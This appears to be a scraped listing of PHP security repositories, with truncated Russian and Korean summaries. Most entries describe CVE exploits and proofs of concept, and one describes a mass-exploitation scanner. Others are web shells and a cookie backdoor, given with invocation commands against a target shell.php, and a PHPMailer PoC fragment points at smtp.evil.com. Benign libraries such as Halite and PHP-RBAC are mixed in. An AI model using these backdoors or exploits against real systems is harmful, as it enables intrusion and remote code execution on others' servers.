CVE-2026-65883

CVE-2026-65883 — Aimy Captcha-Less Form Guard = 20.0 Поле clfgd → восстановление XOR → unserialize → FormattedtextLogger → RCE Обзор Неаутентифицированная PHP-инъекция объектов в Aimy Captcha-Less Form Guard для Joomla. Метод onCheckAnswer декодирует из base64 управляемое атакующим POST-поле clfg...

halite

Halite Halite 는 모든 내부 암호화 작업을 libsodium에 의존하는 고수준 암호화 인터페이스입니다. Halite는 Paragon Initiative Enterprises가 생태계를 개선하고 PHP에서의 암호화를 더 안전하고 구현하기 쉽게 만들기 위한 지속적인 노력의 결과로 만들었습니다. Halite 문서를 온라인에서 읽을 수 있습니다. Halite는 Mozilla Public License 2.0으로 배포됩니다. 파생 저작물을 MPL 조건으로 공개하지 않고 Halite를 확장하려는 경우 Paragon...

phpMussel

Что такое phpMussel? Идеальное решение для сред виртуального хостинга, где часто невозможно использовать или установить традиционные решения для антивирусной защиты. phpMussel — это PHP-скрипт, предназначенный для обнаружения троянов, вирусов, вредоносных программ и других угроз в файлах,...

ExWA

ExWa WhatsApp для CLI с API ExWa — это простой инструмент, написанный на PHP, который позволяет использовать WhatsApp в версии для CLI с помощью API сайта rapiwha.com. Установка : $ git clone https://github.com/dalpan/ExWa $ cd ExWa $ php exwa.php Использование : Сначала зарегистрируйтесь на...

DVWA

Damn Vulnerable Web Application Damn Vulnerable Web Application DVWA — это веб-приложение на PHP/MariaDB, которое является чертовски уязвимым. Его основная цель — помочь специалистам по безопасности проверить свои навыки и инструменты в легальной среде, помочь веб-разработчикам лучше понять...

cve-2024-0012_9474-panos_authbypass_reproduction

CVE-2024-0012 / CVE-2024-9474 — Обход аутентификации PAN-OS → цепочка повышения привилегий CVE| Описание| CVSS ---|---|--- CVE-2024-0012| Обход аутентификации интерфейса управления PAN-OS| 9.3 CVE-2024-9474| Повышение привилегий PAN-OS| 6.9 При объединении эти уязвимости позволяют...

CVE-2025-26199

🛡️ CVE-2025-26199 — Небезопасная передача пароля в открытом виде в CloudClassroom-PHP-Project v1.0 📄 Описание CloudClassroom-PHP-Project v1.0 уязвим к небезопасной передаче учетных данных пользователя. В процессе аутентификации пароли отправляются по незашифрованному HTTP, а не по HTTPS. Это делае...

CVE-2016-3141

CVE-2016-3141 1. Детали уязвимости. Уязвимость использования после освобождения use-after-free в wddx.c в расширении WDDX в PHP до 5.5.33 и 5.6.x до 5.6.19 позволяет удалённым атакующим вызвать отказ в обслуживании повреждение памяти и аварийное завершение приложения или, возможно, оказать другое...

CVE-2021-44967

CVE-2021-44967 - аутентифицированное привилегированное удалённое выполнение кода RCE Аутентифицированное привилегированное удалённое выполнение команд в LimeSurvey версии 5.2.4 через загрузку и установку плагинов позволяет удалённому пользователю загружать произвольный PHP-код. Использование...

tinyshell

tinyshell Небольшая PHP оболочка, управляемая Python клиентом, подключающимся через метод протокола возможности подключение с прямой сессией без необходимости обратного соединения. поддержка защиты паролем. может быть привязан к любому файлу без повреждения. использование GET/POST запросов с...

rbac

PHP-RBAC v2.x PHP-RBAC — это библиотека авторизации для PHP. Она предоставляет разработчикам NIST Level 2 иерархическое управление доступом на основе ролей и многое другое, причём в самой быстрой из существующих реализаций. Текущий стабильный релиз: PHP-RBAC v2.0 Свяжитесь с нами Домашняя страниц...

laravel-poc-CVE-2018-15133

Laravel: Удаленное выполнение кода при утечке APPKEY PoC CVE-2018-15133 Этот репозиторий содержит простое приложение Laravel 5.6.29 на PHP 7.2.10 с одним базовым маршрутом noop, добавленным в routes/web.php см. Dockerfile, и эксплойт Proof of Concept cve-2018-15133.php для CVE-2018-15133, который...

backcookie

backcookie Небольшая бэкдор с использованием cookie. ========== Example one: python backcookie.py -u http://target.com/shell.php -c namecookie Example two: python backcookie.py --url http://target.com/shell.php --cookie namecookie Пользовательская команда binfo, получает объективную информацию...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-34085-Multi-target

CVE-2025-34085 Многоцелевой сканер RCE Сканер массовой эксплуатации для CVE-2025-34085 — неаутентифицированная уязвимость удалённого выполнения кода в плагине WordPress Simple File List. Этот инструмент загружает PHP-пейлоад, замаскированный под изображение, переименовывает его через уязвимый...

Test-7-2-1-PHP-CVE-2018-5711

В этом репозитории нет README...

CVE-2024-4577-RCE

PHP CGI Argument Injection CVE-2024-4577 RCE 📜 Описание В версиях PHP 8.1. до 8.1.29, 8.2. до 8.2.20, 8.3. до 8.3.8 при использовании Apache и PHP-CGI в Windows, если система настроена на использование определённых кодовых страниц, Windows может применять поведение «Best-Fit» для замены символов ...

CVE-2025-49132

CVE-2025-49132 - Pterodactyl Panel Неаутентифицированное RCE / |\ \ / /| | | / | | | | || | / | || / | | \ V / | || / / | |/ / | | | | , /| || \ / / | / || /| //||/ || // ||/ /| Эксплойт для Pterodactyl Panel ≤ 1.11.10 - неаутентифицированное LFI с возможностью RCE. Уязвимость Конечная...

CVE-2024-44902

CVE-2024-44902 Описание уязвимости Уязвимость десериализации в Thinkphp v6.1.3–v8.0.4 позволяет злоумышленникам выполнять произвольный код. Затронутые версии Thinkphp с v6.1.3 по v8.0.4 Условие эксплуатации В фреймворке thinkphp должно быть установлено расширение Memcached. Подтверждение уязвимос...

CVE-2024-4577-PHP-RCE

PHP RCE PoC CVE-2024-4577: Внедрение аргументов в PHP-CGI Обзор Этот репозиторий содержит скрипты для проверки уязвимости CVE-2024-4577 — проблемы внедрения аргументов в PHP-CGI. Вы можете использовать предоставленные скрипты на Bash, Go и Python для тестирования списка доменов на эту уязвимость....